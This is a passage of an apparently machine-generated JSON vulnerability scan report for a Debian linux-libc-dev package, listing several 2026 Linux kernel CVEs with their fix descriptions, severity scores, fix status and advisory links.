"https://git.kernel.org/linus/e4ef723d8975a2694cc90733a6b888a5e2841842%20%287.1-rc1%29", "https://git.kernel.org/stable/c/46cf3646dea54baeaa2eafe3fb1ba769947f31b0", "https://git.kernel.org/stable/c/524a6079395916fb3d790ef2bb46a1d2939b27dd", "https://git.kernel.org/stable/c/594973a2e54924d8ba31c9faac669fc1ba6fcb80", "https://git.kernel.org/stable/c/7105d9f1387d63b15c9a860674fc92c959181f2f", "https://git.kernel.org/stable/c/ab6c34b9829d5de03f1d08a47a2253729a6e7e27", "https://git.kernel.org/stable/c/b44cc78ff46b96e72d333a3be6aaaa0a14797263", "https://git.kernel.org/stable/c/b51c343a81e6e806525a4435e22532c107dd7e9d", "https://git.kernel.org/stable/c/e4ef723d8975a2694cc90733a6b888a5e2841842", "https://kernelcve.org/list/?q=CVE-2026-46191", "https://linux.oracle.com/cve/CVE-2026-46191.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052832-CVE-2026-46191-012c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46191", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46191" ], "PublishedDate": "2026-05-28T10:16:34.74Z", "LastModifiedDate": "2026-11-06T17:17:43.867Z" }, { "VulnerabilityID": "CVE-2026-46195", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46195", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f6a955285929a1ba745233c1ac34a55cad9b4fe4462a4fcf4a18c0e18c373cd", "Title": "kernel: smb: client: validate dacloffset before building DACL pointers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: validate dacloffset before building DACL pointers\n\nparse_sec_desc(), build_sec_desc(), and the chown path in\nid_mode_to_cifs_acl() all add the server-supplied dacloffset to pntsd\nbefore proving a DACL header fits inside the returned security\ndescriptor.\n\nOn 32-bit builds a malicious server can return dacloffset near\nU32_MAX, wrap the derived DACL pointer below end_of_acl, and then slip\npast the later pointer-based bounds checks. build_sec_desc() and\nid_mode_to_cifs_acl() can then dereference DACL fields from the wrapped\npointer in the chmod/chown rewrite paths.\n\nValidate dacloffset numerically before building any DACL pointer and\nreuse the same helper at the three DACL entry points.", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/errata/RHSA-2026:21706", "https://access.redhat.com/errata/RHSA-2026:21745", "https://access.redhat.com/security/cve/CVE-2026-46195", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2482606", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://git.kernel.org/linus/f98b48151cc502ada59d9778f0112d21f2586ca3%20%287.1-rc3%29", "https://git.kernel.org/stable/c/3b1ddba19e77ee35241cd27f16dc3e8d14e08db7", "https://git.kernel.org/stable/c/5de2665e913a10ad70aaeecf736b97276e83d995", "https://git.kernel.org/stable/c/8bd07e417b6bda67e317920584e48cb6ee442a8a", "https://git.kernel.org/stable/c/ba7f71b6161c0943dafc367565e5843d16b7d505", "https://git.kernel.org/stable/c/c688f3ed73d31943334ad2139cb02ec49664322a", "https://git.kernel.org/stable/c/f98b48151cc502ada59d9778f0112d21f2586ca3", "https://git.kernel.org/stable/c/f9dc3be8f403c1216df73e57221f44b045e7ee0b", "https://linux.oracle.com/cve/CVE-2026-46195.html", "https://linux.oracle.com/errata/ELSA-2026-21556.html", "https://lore.kernel.org/linux-cve-announce/2026052833-CVE-2026-46195-f7ef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46195", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46195.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46195" ], "PublishedDate": "2026-05-28T10:16:35.147Z", "LastModifiedDate": "2026-10-19T20:18:37.523Z" }, { "VulnerabilityID": "CVE-2026-46219", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "will_not_fix", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46219", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ecd051b6a790caa0a90b50040769480b8ec8c0fe88da30abb656f3d411c9c3e", "Title": "kernel: spi: mpc52xx: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: mpc52xx: fix use-after-free on unbind\n\nThe state machine work is scheduled by the interrupt handler and\ntherefore needs to be cancelled after disabling interrupts to avoid a\npotential use-after-free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46219", "https://git.kernel.org/linus/706b3dc2ac7a998c55e14b3fd2e8f934c367e6e0%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0944b20e9dfa2917bd70eb5b301cbb67fe54a718", "https://git.kernel.org/stable/c/6c3e413919a12627d04a31a4a5fccb9fc129bb02", "https://git.kernel.org/stable/c/706b3dc2ac7a998c55e14b3fd2e8f934c367e6e0", "https://git.kernel.org/stable/c/ac8316c896c79f32c1d0a38cb41fd2b14cf8112e", "https://git.kernel.org/stable/c/bb6b50f709c5a01906ff72a07fdc070bb3357188", "https://git.kernel.org/stable/c/bbcd6dd8e9f264440eaf6167382bf404911c1c46", "https://git.kernel.org/stable/c/ed929d40963073f23cfb50219ccbcc6e0c3ea641", "https://git.kernel.org/stable/c/ee52da0dd83ebcd89ecbbe2660c57b15a25489f2", "https://lore.kernel.org/linux-cve-announce/2026052836-CVE-2026-46219-9b95@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46219", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46219" ], "PublishedDate": "2026-05-28T10:16:37.53Z", "LastModifiedDate": "2026-06-17T10:53:21.313Z" }, { "VulnerabilityID": "CVE-2026-46227", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bc629e27f7f3639309776c22f3635af047fd9d55f55b769b5ff9517e466b1cb1", "Title": "kernel: sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL\n\nThe SCTP_SENDALL path in sctp_sendmsg() iterates ep-\u003easocs with\nlist_for_each_entry_safe(), which caches the next entry in @tmp before\nthe loop body runs. The body calls sctp_sendmsg_to_asoc(), which may\ndrop the socket lock inside sctp_wait_for_sndbuf().\n\nWhile the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the\nassociation cached in @tmp, migrating it to a new endpoint via\nsctp_sock_migrate() (list_del_init() + list_add_tail() to\nnewep-\u003easocs), and optionally close the new socket which frees the\nassociation via kfree_rcu(). The cached @tmp can also be freed by a\nnetwork ABORT for that association, processed in softirq while the\nlock is dropped.\n\nsctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock\nvia the \"sk != asoc-\u003ebase.sk\" and \"asoc-\u003ebase.dead\" checks, but nothing\nrevalidates @tmp. After a successful return, the iterator advances to\nthe stale @tmp, yielding either a use-after-free (if the peeled socket\nwas closed) or a list-walk onto the new endpoint's list head (type\nconfusion of \u0026newep-\u003easocs as a struct sctp_association *).\n\nBoth are reachable from CapEff=0; the type-confusion path gives\ncontrolled indirect call via the outqueue.sched-\u003einit_sid pointer.\n\nFix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc()\nreturns. @asoc is known to still be on ep-\u003easocs at that point: the\nonly callers that list_del an association from ep-\u003easocs are\nsctp_association_free() (which sets asoc-\u003ebase.dead) and\nsctp_assoc_migrate() (which changes asoc-\u003ebase.sk), and\nsctp_wait_for_sndbuf() checks both under the lock before any\nsuccessful return; a tripped check propagates as err \u003c 0 and the loop\nbails before the re-derive.\n\nThe SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the\nloop hits 'continue' before sctp_sendmsg_to_asoc() is ever called, so\nthe @tmp cached by list_for_each_entry_safe() still covers the\nlock-held free that ba59fb027307 (\"sctp: walk the list of asoc\nsafely\") was added for.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362", "CWE-367" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26462", "https://access.redhat.com/errata/RHSA-2026:26515", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26563", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:36956", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/security/cve/CVE-2026-46227", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/abb5f36771cc4c05899b34000829a787572a8817%20%287.1-rc4%29", "https://git.kernel.org/stable/c/0c7b55974f97b78d1109025eadf084e74cbf330f", "https://git.kernel.org/stable/c/0dbc8cde64280fc37cdd678cced34eaf96cfb197", "https://git.kernel.org/stable/c/1bfb06ecb00f7fdf35dba8e8f2877346cbe5e078", "https://git.kernel.org/stable/c/6187a172d6ed57d6b2c327836e4407c6456e639d", "https://git.kernel.org/stable/c/abb5f36771cc4c05899b34000829a787572a8817", "https://git.kernel.org/stable/c/bf0f40d8107e2ce827521968dc6926f3e13728ae", "https://git.kernel.org/stable/c/c9dadb31f36045a8cb65df4bd75e7237ef21a4b5", "https://git.kernel.org/stable/c/f3a3f0b406b4b7eb3cea35a23fa2bf170848b104", "https://linux.oracle.com/cve/CVE-2026-46227.html", "https://linux.oracle.com/errata/ELSA-2026-36956.html", "https://lore.kernel.org/linux-cve-announce/2026052838-CVE-2026-46227-4bf1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46227", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46227.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46227" ], "PublishedDate": "2026-05-28T10:16:38.317Z", "LastModifiedDate": "2026-10-19T20:18:38.597Z" }, { "VulnerabilityID": "CVE-2026-46234", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46234", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8e9c8ca28a26a24eddf3153120c96bad7e0d820aec51d9349c337b17b309f54e", "Title": "kernel: vsock: fix buffer size clamping order", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: fix buffer size clamping order\n\nIn vsock_update_buffer_size(), the buffer size was being clamped to the\nmaximum first, and then to the minimum. If a user sets a minimum buffer\nsize larger than the maximum, the minimum check overrides the maximum\ncheck, inverting the constraint.\n\nThis breaks the intended socket memory boundaries by allowing the\nvsk-\u003ebuffer_size to grow beyond the configured vsk-\u003ebuffer_max_size.\n\nFix this by checking the minimum first, and then the maximum. This\nensures the buffer size never exceeds the buffer_max_size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46234", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/d114bfdc9b76bf93b881e195b7ec957c14227bab%20%287.1-rc1%29", "https://git.kernel.org/stable/c/01ef69785dc3162f588a361ab770b1e312800188", "https://git.kernel.org/stable/c/0b68881501460c3761f196469e1e503218c5e536", "https://git.kernel.org/stable/c/2602f7bb5818e92315feeaeb71d8ce4d5c9ab160", "https://git.kernel.org/stable/c/310da27932dd0afe7ce7456dfe1f0814c3301f41", "https://git.kernel.org/stable/c/a998a7e250bf976539e05a00ec64a81292afecaa", "https://git.kernel.org/stable/c/caf11dfea5233a69298a1c448bbf8d1639c80536", "https://git.kernel.org/stable/c/d114bfdc9b76bf93b881e195b7ec957c14227bab", "https://git.kernel.org/stable/c/f6ec135941d2c1c2dbb87b5ce1783f4f6ac6ccca", "https://kernelcve.org/list/?q=CVE-2026-46234", "https://linux.oracle.com/cve/CVE-2026-46234.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052840-CVE-2026-46234-bed5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46234", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46234" ], "PublishedDate": "2026-05-28T10:16:39.043Z", "LastModifiedDate": "2026-11-06T17:17:45.393Z" }, { "VulnerabilityID": "CVE-2026-46241", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46241", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:764f2e9b423155e2bfcbfe5b1d917f0938b436f1e2f7b56136c3de88dd95c812", "Title": "kernel: spi: mpc52xx: fix use-after-free on registration failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: mpc52xx: fix use-after-free on registration failure\n\nMake sure to disable and free the interrupts in case controller\nregistration fails to avoid a potential use-after-free and resource\nleak.\n\nThis issue was flagged by Sashiko when reviewing a controller\nderegistration fix.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46241", "https://git.kernel.org/linus/f62c060272b9d7423b1650b844e8e4e7b8f9f925%20%287.1-rc1%29", "https://git.kernel.org/stable/c/336d9ad7560b3baba17af06727a888040ee93390", "https://git.kernel.org/stable/c/5c77f11b9b5f1ad5a704dad875260c44016ede10", "https://git.kernel.org/stable/c/8b49b6aadd0c622ca7d68b4a53ae10362e221cf3", 